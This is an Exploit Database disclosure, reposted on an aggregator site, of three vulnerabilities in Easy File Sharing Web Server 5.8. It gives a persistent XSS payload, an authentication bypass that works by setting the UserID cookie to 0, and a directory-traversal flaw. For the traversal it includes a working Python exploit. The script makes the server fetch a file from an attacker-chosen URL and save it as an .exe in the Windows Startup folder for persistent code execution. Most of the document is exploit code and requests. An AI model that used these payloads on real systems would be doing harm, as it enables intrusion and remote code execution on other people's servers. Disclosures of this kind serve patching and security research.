Easy File Sharing Web Server 5.8 – Multiple Vulnerabilities

• Exploit Database
• 12 阅读

• 作者： AutoSec Tools
  日期： 2011-03-29
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17063/

• ------------------------------------------------------------------------
  Software................Easy File Sharing Web Server Version 5.8
  Vulnerability...........Persistent Cross-site Scripting
  Threat Level............Moderate (2/5)
  Download................http://www.sharing-file.com/
  Disclosure Date.........4/6/2011
  Tested On...............Windows Vista
  ------------------------------------------------------------------------
  Author..................AutoSec Tools
  Site....................http://www.autosectools.com/
  Email...................John Leitch <john@autosectools.com>
  ------------------------------------------------------------------------
  
  
  --Description--
  
  A persistent cross-site scripting vulnerability in Easy File Sharing
  Web Server Version 5.8 can be exploited to execute arbitrary JavaScript.
  
  
  --Exploit--
  
  Enter markup into the title or message fields of a forum message.
  
  
  --PoC--
  
  <script>alert(0)</script>
  
  
  ------------------------------------------------------------------------
  Software................Easy File Sharing Web Server Version 5.8
  Vulnerability...........Authentication Bypass
  Threat Level............Serious (3/5)
  Download................http://www.sharing-file.com/
  Disclosure Date.........4/6/2011
  Tested On...............Windows Vista
  ------------------------------------------------------------------------
  Author..................AutoSec Tools
  Site....................http://www.autosectools.com/
  Email...................John Leitch <john@autosectools.com>
  ------------------------------------------------------------------------
  
  
  --Description--
  
  If the UserID cookie is set all virtual folders become accessible.
  
  
  --PoC--
  
  GET http://localhost/[Virtual Folder] HTTP/1.1
  Host: localhost
  Cookie: UserID=0
  
  
  # ------------------------------------------------------------------------
  # Software................Easy File Sharing Web Server Version 5.8
  # Vulnerability...........Directory Traversal / Arbitrary File Creation
  # Threat Level............Very Critical (5/5)
  # Download................http://www.sharing-file.com/
  # Disclosure Date.........4/6/2011
  # Tested On...............Windows Vista
  # ------------------------------------------------------------------------
  # Author..................AutoSec Tools
  # Site....................http://www.autosectools.com/
  # Email...................John Leitch <john@autosectools.com>
  # ------------------------------------------------------------------------
  # 
  # 
  # --Description--
  # 
  # A directory traversal vulnerability in Easy File Sharing Web Server
  # Version 5.8 can be exploited to navigate the local file system and
  # create arbitrary files. A user account is necessary to exploit. If
  # registration is not open, it may be possible to retrieve the
  # credential containing user.sdb file using directory traversal combined
  # with authentication bypass.
  # 
  # 
  # --Exploit--
  # 
  # http://[server]/[Virtual Folder]/..%2F..%2F/[Folder]
  # 
  # Note: the actual number of traversal sequences required depends on the
  # depth of the folder.
  # 
  # 
  # --PoC--
  
  # Browse:
  # http://localhost/temp/..%2FUsers
  
  import socket, urllib
  
  # Update these
  username = 'a'
  password = 'a'
  
  # The attacker controlled file
  remote_file1 = 'http://www.google.com/images/logos/ps_logo2.png'
  
  # The name of the file on the target server 
  remote_file2 = 'exploit_test.exe'
  
  # The destination of the remote file
  target_folder = 'Users/Test User/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/'
  
  # This must be an existing virtual folder
  path = '/temp'
  
  host = 'localhost'
  port = 80
  
  def upload_shell():
  for i in reversed(range(0, 16)):
  print 'trying...'
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))
  s.settimeout(8)
  
  s.send('POST ' + path + '/' + '..%2F' * i + urllib.quote(target_folder) + ' HTTP/1.1\r\n'
   'Host: localhost\r\n'
   'Connection: keep-alive\r\n'
   'Referer: http://localhost/uploadurl.ghp?vfolder=/temp/test\r\n'
   'Content-Length: 181\r\n'
   'Cache-Control: max-age=0\r\n'
   'Origin: http://localhost\r\n'
   'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16\r\n'
   'Content-Type: application/x-www-form-urlencoded\r\n'
   'Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n'
   'Accept-Encoding: gzip,deflate,sdch\r\n'
   'Accept-Language: en-US,en;q=0.8\r\n'
   'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
   '\r\n'
   'uploadid=21305471&vfoldername=%2ftemp&upload_author=' + username + '&upload_passwd=' + password + '&file_des=&file_url=' + urllib.quote(remote_file1) + '&saveas=' + urllib.quote(remote_file2) + '&uploadurl=Upload')
  
  resp = s.recv(8192)
  
  http_ok = 'HTTP/1.0 200 OK'
  
  if http_ok not in resp[:len(http_ok)]:
  print 'error uploading shell'
  else:
  print 'shell uploaded'
  return
  
  upload_shell()